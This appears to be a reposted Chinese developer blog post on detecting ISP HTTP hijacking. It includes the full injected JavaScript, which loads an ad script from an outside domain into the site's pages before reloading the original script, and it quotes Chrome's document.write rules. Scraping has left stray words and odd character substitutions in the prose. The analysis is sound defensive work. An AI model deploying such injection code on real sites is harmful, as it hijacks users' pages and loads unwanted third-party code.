我是這樣發現ISP劫持HTTP請求的

時間 2019-11-08

標籤這樣發現 isp 劫持 http 請求欄目 HTTP/TCP 简体版

原文原文鏈接

編者按：Fundebug的客戶經過分析咱們提供的報警信息，定位了一個很是棘手的問題—ISP劫持http請求。他的分析過程很是有意思，同時也提醒咱們，應該及時支持HTTPS來保證站點安全。javascript

原文: ISP劫持http請求前端

做者: Mr_Qijava

本文版權歸原做者Mr_Qi全部。git

最近業務系統常常受到前端報錯郵件github

發現大量的ip爲瀋陽聯通客戶==>初步推斷爲運營商http劫持chrome

通過現場排查發現出錯畫面部分js加載出錯安全

區別在於錯誤的js會先插入一個廣告js服務器

爲區別是否dns劫持查看NetWork面板app

IP正確而且爲我方服務器IP確認並不是爲DNS攻擊。異步

因爲大面積出現瀋陽聯通問題，(故而考慮應當爲運營商問題？應該不會出現大範圍路由器被黑的可能吧)

返回js以下

(function () {
    try {
        var o = 'm-_-m',
            D = document;
        if (!D.getElementById(o)) {
            var j = 'http://yunxiu.f6car.com/kzf6/js/basic/XXX.js',
                J = j + (~j.indexOf('?') ? '&' : '?') + new Date().getTime(),
                M = 'http://pc.quansj.cn/?cid=08',
                C = D.currentScript,
                H = D.getElementsByTagName('head')[0],
                N = function (s, i) {
                    var I = D.createElement('script');
                    I.type = 'text/JavaScript';
                    if (i) I.id = i;
                    I.src = s;
                    H.appendChild(I);
                };
            if (self == top) {
                N(M, o);
            }
            if (!C) {
                C = (function () {
                    var S = D.scripts,
                        l = S.length,
                        i = 0;
                    for (; i < l; ++i) {
                        if (S[i].src === j) {
                            return S[i];
                        }
                    }
                })();
            }
            C && ((C.defer || C.async) ? N(J) : D.write('<script src="' + J + '"><' + '/script>'));
        }
    } catch (e) {}
})();

經過域名Whois反查

發現旗下域名

有好幾個都是廣告劫持網站

貌似和一個說脫口秀的（趙本山徒弟）同名………………該不是同一我的吧/(ㄒoㄒ)/~~

和瀋陽聯通溝通後無果，拒不認可存在劫持。目前正在求助工信部，不知可否有解決方案。

github上已經有針對該地址的adblock了……明顯遼寧聯通

看了一下js選項，正常狀況下會執行到

C&&((C.defer||C.async)?N(J):D.write('<script src="'+J+'"><'+'/script>'));

代碼作了判斷，若是支持defer或者async這直接append異步加載js，當不支持則直接經過document寫入（同步執行）

也就是說理論上會同步加載咱們服務器上的js~可是事實上出現了大量的js未加載到

通過查閱發現chrome有個設置（聽說chrome55(?)+版本後優化）能夠嘗試一下

chrome://flags/#disallow-doc-written-script-loads

具體說明以下

With this data in mind, Chrome, starting with version 55, intervenes on behalf of all users when we detect this known-bad pattern by changing how document.write() is handled in Chrome (See Chrome Status). Specifically Chrome will not execute the <script> elements injected via document.write()when all of the following conditions are met:

The user is on a slow connection, specifically when the user is on 2G. (In the future, the change might be extended to other users on slow connections, such as slow 3G or slow WiFi.)

The document.write() is in a top level document. The intervention does not apply to document.written scripts within iframes as they don't block the rendering of the main page.

The script in the document.write() is parser-blocking. Scripts with the 'async' or 'defer' attributes will still execute.

The script is not hosted on the same site. In other words, Chrome will not intervene for scripts with a matching eTLD+1 (e.g. a script hosted on js.example.org inserted on www.example.org).

The script is not already in the browser HTTP cache. Scripts in the cache will not incur a network delay and will still execute.

The request for the page is not a reload. Chrome will not intervene if the user triggered a reload and will execute the page as normal.

Third party snippets sometimes use document.write() to load scripts. Fortunately, most third parties provide asynchronous loading alternatives, which allow third party scripts to load without blocking the display of the rest of the content on the page.